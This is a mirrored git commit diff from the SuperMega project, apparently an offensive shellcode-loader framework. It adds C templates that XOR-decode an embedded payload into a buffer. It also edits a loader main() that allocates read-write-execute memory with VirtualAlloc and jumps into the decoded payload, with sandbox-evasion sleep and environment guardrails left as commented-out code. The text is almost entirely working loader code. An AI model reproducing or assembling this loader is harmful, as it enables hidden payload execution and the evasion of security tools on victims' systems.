mirror of
https://github.com/dobin/SuperMega
synced 2026-06-03 01:27:11 +00:00
refactor: new data/ structure
This commit is contained in:
@@ -0,0 +1,3 @@
|
||||
for (int n=0; n<{{PAYLOAD_LEN}}; n++) {
|
||||
dest[n] = supermega_payload[n];
|
||||
}
|
||||
@@ -0,0 +1,5 @@
|
||||
// Single byte XOR key
|
||||
for (int n=0; n<{{PAYLOAD_LEN}}; n++){
|
||||
dest[n] = supermega_payload[n];
|
||||
dest[n] = dest[n] ^ {{XOR_KEY}};
|
||||
}
|
||||
@@ -0,0 +1,5 @@
|
||||
// Multibyte XOR (untested)
|
||||
// Need: key, key_len
|
||||
for ( int i = 0; i < {{PAYLOAD_LEN}}; i++ ) {
|
||||
dest[i] = supermega_payload[i] ^ key[i % key_len];
|
||||
}
|
||||
@@ -21,7 +21,7 @@ int sleep_ms(DWORD sleeptime) {
|
||||
|
||||
int main()
|
||||
{
|
||||
sleep_ms(10000);
|
||||
//sleep_ms(10000);
|
||||
|
||||
// Execution Guardrail: Env Check
|
||||
//wchar_t envVarName[] = {'U','S','E','R','P','R','O','F','I','L','E', 0};
|
||||
@@ -37,18 +37,18 @@ int main()
|
||||
return 6;
|
||||
}
|
||||
|
||||
// Allocate RWX segment
|
||||
// Allocate 1
|
||||
// char *dest = ...
|
||||
{{ plugin_allocator }}
|
||||
char *dest = VirtualAlloc(NULL, {{PAYLOAD_LEN}}, 0x3000, 0x40);
|
||||
|
||||
// Copy
|
||||
// Copy (and decode)
|
||||
// from: supermega_payload[]
|
||||
// to: dest[]
|
||||
// len: 0x11223344
|
||||
{{ plugin_decoder }}
|
||||
|
||||
|
||||
// Execute *dest
|
||||
{{ plugin_executor }}
|
||||
(*(void(*)())(dest))();
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -93,7 +93,7 @@ int main()
|
||||
{{ plugin_decoder }}
|
||||
|
||||
// Execute *dest
|
||||
{{ plugin_executor }}
|
||||
(*(void(*)())(dest))();
|
||||
|
||||
return 0;
|
||||
}
|
||||
Reference in New Issue
Block a user